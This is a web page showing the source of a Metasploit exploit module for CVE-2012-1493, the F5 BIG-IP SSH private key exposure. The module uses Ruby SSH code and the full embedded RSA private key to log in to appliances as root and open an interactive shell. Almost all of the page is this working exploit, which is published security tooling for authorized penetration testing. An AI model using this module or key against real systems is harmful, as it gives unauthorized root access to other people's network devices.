Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'7require 'rex/socket/ssh_factory'89class MetasploitModule < Msf::Exploit::Remote10Rank = ExcellentRanking1112include Msf::Auxiliary::Report13include Msf::Exploit::Remote::SSH1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'F5 BIG-IP SSH Private Key Exposure',20'Description' => %q{21F5 ships a public/private key pair on BIG-IP appliances that allows22passwordless authentication to any other BIG-IP box. Since the key is23easily retrievable, an attacker can use it to gain unauthorized remote24access as root.25},26'Platform' => 'unix',27'Arch' => ARCH_CMD,28'Privileged' => true,29'Targets' => [ [ 'Universal', {} ] ],30'Payload' => {31'Compat' => {32'PayloadType' => 'cmd_interact',33'ConnectionType' => 'find'34}35},36'Author' => ['egypt'],37'License' => MSF_LICENSE,38'References' => [39[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],40[ 'CVE', '2012-1493' ],41[ 'OSVDB', '82780' ],42[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/25/press-f5-for-root-shell' ]43],44'DisclosureDate' => '2012-06-11',45'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },46'DefaultTarget' => 0,47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION],50'SideEffects' => []51}52)53)5455register_options(56[57# Since we don't include Tcp, we have to register this manually58Opt::RHOST(),59Opt::RPORT(22)60], self.class61)6263register_advanced_options(64[65OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),66OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])67]68)69end7071# helper methods that normally come from Tcp72def rhost73datastore['RHOST']74end7576def rport77datastore['RPORT']78end7980def do_login(user)81opt_hash = ssh_client_defaults.merge({82auth_methods: ['publickey'],83port: rport,84key_data: [ key_data ]85})8687opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']8889begin90ssh_socket = nil91::Timeout.timeout(datastore['SSH_TIMEOUT']) do92ssh_socket = Net::SSH.start(rhost, user, opt_hash)93end94rescue Rex::ConnectionError95return96rescue Net::SSH::Disconnect, ::EOFError97print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"98return99rescue ::Timeout::Error100print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"101return102rescue Net::SSH::AuthenticationFailed103print_error "#{rhost}:#{rport} SSH - Failed authentication"104rescue Net::SSH::Exception => e105print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"106return107end108109return false unless ssh_socket110111# Create a new session from the socket, then dump it.112conn = Net::SSH::CommandStream.new(ssh_socket)113ssh_socket = nil114conn115end116117def exploit118conn = do_login('root')119if conn120print_good 'Successful login'121handler(conn.lsock)122end123end124125def key_data126<<~EOF127-----BEGIN RSA PRIVATE KEY-----128MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh129UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk130OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB131gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF1328auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv1337r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM1342oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s13537+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL136RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4137rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/138uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU139Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G140LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS141-----END RSA PRIVATE KEY-----142EOF143end144end145146147